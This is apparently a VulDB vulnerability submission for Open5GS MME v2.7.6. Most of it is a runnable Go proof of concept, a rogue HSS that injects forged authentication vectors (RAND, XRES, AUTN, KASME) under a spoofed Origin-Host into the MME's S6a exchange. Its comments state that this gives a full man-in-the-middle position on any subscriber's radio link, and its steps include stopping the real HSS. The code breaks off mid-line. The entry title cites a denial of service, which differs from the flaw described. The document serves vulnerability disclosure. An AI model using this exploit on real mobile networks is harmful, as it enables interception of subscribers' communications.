Submit #771361: Open5GS MME v2.7.6 Improper Authenticationinfo

TitleOpen5GS MME v2.7.6 Improper Authentication
Description### Open5GS Release, Revision, or Tag v2.7.6 ### Steps to reproduce 1. Start the rogue HSS PoC `go run ./main.go -listen 10.44.44.10:3868` PoC ``` // PoC: MME S6a AIA Origin-Host Validation Bypass // // Vulnerability: mme_s6a_aia_cb (src/mme/mme-fd-path.c:883) // The MME checks that Origin-Host AVP *exists* in the AIA, but never // validates its *value* against the HSS the AIR was sent to. // A rogue Diameter server (or MITM) can inject forged authentication // vectors (RAND, XRES, AUTN, KASME) into the MME. // // Attack impact: // - Attacker controls XRES → can predict the auth response // - Attacker controls KASME → can derive all session keys (K_eNB, K_NASint, K_NASenc) // - Result: full MITM on the radio link for any UE // // How to test: // 1. Stop the real HSS: docker stop <hss-container> // 2. Run rogue HSS: go run main.go -listen 10.44.44.10:3868 // 3. Trigger UE attach (e.g., restart srsUE or send IMSI attach) // 4. Observe: MME accepts forged auth vectors from "evil-hss.attacker.com" package main import ( "encoding/hex" "flag" "log" "strings" "github.com/fiorix/go-diameter/v4/diam" "github.com/fiorix/go-diameter/v4/diam/avp" "github.com/fiorix/go-diameter/v4/diam/datatype" "github.com/fiorix/go-diameter/v4/diam/dict" "github.com/fiorix/go-diameter/v4/diam/sm" ) const ( S6AApplicationID uint32 = 16777251 VendorID3GPP uint32 = 10415 AIRCommandCode uint32 = 318 // S6a AVP codes (3GPP TS 29.272) ReqEUTRANAuthInfoAVP uint32 = 1408 AuthenticationInfoAVP uint32 = 1413 EUTRANVectorAVP uint32 = 1414 XRESAVP uint32 = 1448 ItemNumberAVP uint32 = 1419 // Mandatory in E-UTRAN-Vector RANDAVP uint32 = 1447 AUTN_AVP uint32 = 1449 KASMEAVP uint32 = 1450 ) var ( flagListen string flagOriginHost string flagOriginRealm string flagEvilRAND string flagEvilXRES string flagEvilAUTN string flagEvilKASME string ) func init() { flag.StringVar(&flagListen, "listen", "10.44.44.10:3868", "Listen address (should be the real HSS address)") flag.StringVar(&flagOriginHost, "origin-host", "evil-hss.attacker.com", "Spoofed Origin-Host in AIA (MME should reject this, but doesn't)") flag.StringVar(&flagOriginRealm, "origin-realm", "attacker.com", "Spoofed Origin-Realm in AIA") // Default: all-zeros vectors (obviously forged) flag.StringVar(&flagEvilRAND, "rand", "", "Forged RAND (32 hex chars). Default: all 0x41 ('AAA...')") flag.StringVar(&flagEvilXRES, "xres", "", "Forged XRES (16 hex chars). Default: all 0x42 ('BBB...')") flag.StringVar(&flagEvilAUTN, "autn", "", "Forged AUTN (32 hex chars). Default: all 0x43 ('CCC...')") flag.StringVar(&flagEvilKASME, "kasme", "", "Forged KASME (64 hex chars). Default: all 0x44 ('DDD...')") } func main() { flag.Parse() log.SetFlags(log.Ltime | log.Lmicroseconds) log.Printf("[*] PoC: Rogue HSS — MME S6a AIA Origin-Host bypass") log.Printf("[*] Listening on %s", flagListen) log.Printf("[*] Spoofed Origin-Host: %s", flagOriginHost) log.Printf("[*] MME will accept auth vectors from this identity (no validation)") // Prepare forged auth vectors evilRAND := parseHexOrDefault(flagEvilRAND, 16, 0x41) evilXRES := parseHexOrDefault(flagEvilXRES, 8, 0x42) evilAUTN := parseHexOrDefault(flagEvilAUTN, 16, 0x43) evilKASME := parseHexOrDefault(flagEvilKASME, 32, 0x44) log.Printf("[*] Forged RAND: %s", hex.EncodeToString(evilRAND)) log.Printf("[*] Forged XRES: %s", hex.EncodeToString(evilXRES)) log.Printf("[*] Forged AUTN: %s", hex.EncodeToString(evilAUTN)) log.Printf("[*] Forged KASME: %s", hex.EncodeToString(evilKASME)) // --------------------------------------------------------------- // Set up Diameter server (pretend to be HSS) // --------------------------------------------------------------- // Use hss.localdomain so CER/CEA succeeds with MME cfg := &sm.Settings{ OriginHost: datatype.DiameterIdentity("hss.localdomain"), OriginRealm: datatype.DiameterIdentity("localdomain"), VendorID: datatype.Unsigned32(VendorID3GPP), ProductName: datatype.UTF8String("rogue-hss-poc"), OriginStateID: datatype.Unsigned32(1), FirmwareRevision: datatype.Unsigned32(1), } mux := sm.New(cfg) // Handle CER from MME (state machine does this automatically) mux.HandleFunc("CER", func(c diam.Conn, m *diam.Message) { log.Printf("[+] Received CER from %s", c.RemoteAddr()) // sm.New handles CEA automatically }) // Handle AIR — this is where we inject forged auth vectors mux.HandleFunc("ALL", handleAIR(evilRAND, evilXRES, evilAUTN, evilKASME)) // --------------------------------------------------------------- // Start listening // --------------------------------------------------------------- log.Printf("[*] Waiting for MME to connect...") log.Printf("[*] (Make sure real HSS is stopped: docker stop <hss-container>)") parts := strings.SplitN(flagListen, ":", 2) addr := flagListen if len(parts) == 2 && parts[1] == "" { addr = parts[0] + ":3868" } err := diam.ListenAndServeTLS(addr, "", "", mux, dict.Default) if err != nil { // Try non-TLS log.Printf("[*] TLS listen failed (%v), trying plain TCP...", err) err = diam.ListenAndServe(addr, mux, dict.Default) if err != nil { log.Fatalf("[-] Failed to start server: %v", err) } } } // handleAIR returns a handler that responds to AIR with forged AIA. func handleAIR(evilRAND, evilXRES, evilAUTN, evilKASME []byte) diam.HandlerFunc { return func(c diam.Conn, m *diam.Message) { // Only handle AIR (command code 318, request bit set) if m.Header.CommandCode != AIRCommandCode { return } if m.Header.CommandFlags&0x80 == 0 { // Answer bit not set = this is a request... wait, 0x80 is the R bit // R=1 means Request. If R=0, it's an Answer. We want requests. return } log.Printf("[+] ============================================") log.Printf("[+] Received AIR from MME (%s)", c.RemoteAddr()) // Extract IMSI from User-Name AVP imsi := extractUserName(m) log.Printf("[+] Target IMSI: %s", imsi) log.Printf("[+] Sending forged AIA with Origin-Host: %s", flagOriginHost) // Debug: dump all AVP codes from incoming AIR log.Printf("[+] AIR has %d AVPs:", len(m.AVP)) for i, a := range m.AVP { log.Printf("[+] AVP[%d]: code=%d vendor=%d data_type=%T", i, a.Code, a.VendorID, a.Data) } // Extract Session-Id from incoming AIR (must echo it back) var sessionID string for _, a := range m.AVP { if a.Code == 263 { // Session-Id // Use Serialize() to get raw bytes, NOT String() which wraps in "UTF8String{...}" sessionID = string(a.Data.Serialize()) break } } if sessionID == "" { // Fallback: construct a Session-Id (PoC — just needs to be non-empty) sessionID = "hss.localdomain;0;0;rogue-aia" log.Printf("[!] Session-Id NOT found in AIR, using fallback: %s", sessionID) } else { log.Printf("[+] Session-Id from AIR: %q", sessionID) } // Build AIA (answer) — m.Answer adds Result-Code as first AVP ans := m.Answer(diam.Success) // Session-Id MUST be the first AVP per RFC 6733 §6.2 sessionAVP := diam.NewAVP(avp.SessionID, avp.Mbit, 0, datatype.UTF8String(sessionID)) log.Printf("[+] Session-Id AVP len=%d", sessionAVP.Len()) ans.InsertAVP(sessionAVP) log.Printf("[+] AIA message has %d AVPs, MessageLength=%d", len(ans.AVP), ans.Header.MessageLength) // Origin-Host — THE CRUX: we use evil identity, MME won't check ans.NewAVP(avp.OriginHost, avp.Mbit, 0, datatype.DiameterIdentity(flagOriginHost)) // Origin-Realm — also spoofed ans.NewAVP(avp.OriginRealm, avp.Mbit, 0, datatype.DiameterIdentity(flagOriginRealm)) // Auth-Session-State = NO_STATE_MAINTAINED (1) ans.NewAVP(avp.AuthSessionState, avp.Mbit, 0, datatype.Enumerated(1)) // Vendor-Specific-Application-Id vsai := &diam.GroupedAVP{ AVP: []*diam.AVP{ diam.NewAVP(avp.VendorID, avp.Mbit, 0, datatype.Unsigned32(VendorID3GPP)), diam.NewAVP(avp.AuthApplicationID, avp.Mbit, 0, datatype.Unsigned32(S6AApplicationID)), }, } ans.NewAVP(avp.VendorSpecificApplicationID, avp.Mbit, 0, vsai) // Authentication-Info → E-UTRAN-Vector → { Item-Number, RAND, XRES, AUTN, KASME } eutranVector := &diam.GroupedAVP{ AVP: []*diam.AVP{ diam.NewAVP(ItemNumberAVP, avp.Mbit|avp.Vbit, VendorID3GPP, datatype.Unsigned32(1)), diam.NewAVP(RANDAVP, avp.Mbit|avp.Vbit, VendorID3GPP, datatype.OctetString(evilRAND)), diam.NewAVP(XRESAVP, avp.Mbit|avp.Vbit, VendorID3GPP, datatype.OctetString(evilXRES)), diam.NewAVP(AUTN_AVP, avp.Mbit|avp.Vbit, VendorID3GPP, datatype.OctetString(evilAUTN)), diam.NewAVP(KASMEAVP, avp.Mbit|avp.Vbit, VendorID3GPP, datatype.OctetString(evilKASME)), }, } authInfo := &diam.GroupedAVP{ AVP: []*diam.AVP{ diam.NewAVP(EUTRANVectorAVP, avp.Mbit|avp.Vbit, VendorID3GPP, eutranVector), }, } ans.NewAVP(AuthenticationInfoAVP, avp.Mbit|avp.Vbit, VendorID3GPP, authInfo) // Send the forged AIA if _, err := ans.WriteTo(c); err != nil { log.Printf("[-] Failed to send AIA: %v", err) return } log.Printf("[!] FORGED AIA SENT SUCCESSFULLY") log.Printf("[!] Origin-Host: %s (should be hss.localdomain)", flagOriginHost) log.Printf("[!] RAND: %s", hex.EncodeToString(evilRAND)) log.Printf("[!] XRES: %s ← attacker knows this", hex.EncodeToString(evilXRES)) log.Printf("[!] AUTN: %s", hex.EncodeToString(evilAUTN)) log.Printf("[!] KASME: %s ← attacker can derive all session keys", hex.EncodeToString(evilKASME)) log.Printf("[!]") log.Printf("[!] If MME accepts this → VULN CONFIRM
Source⚠️ https://github.com/open5gs/open5gs/issues/4343
User
 ZiyuLin (UID 93568)
Submission03/04/2026 13:57 (1 month ago)
Moderation03/15/2026 21:40 (11 days later)
StatusAccepted
VulDB entry351182 [Open5GS up to 2.7.6 CCA denial of service]
Points20

Want to know what is going to be exploited?

We predict KEV entries!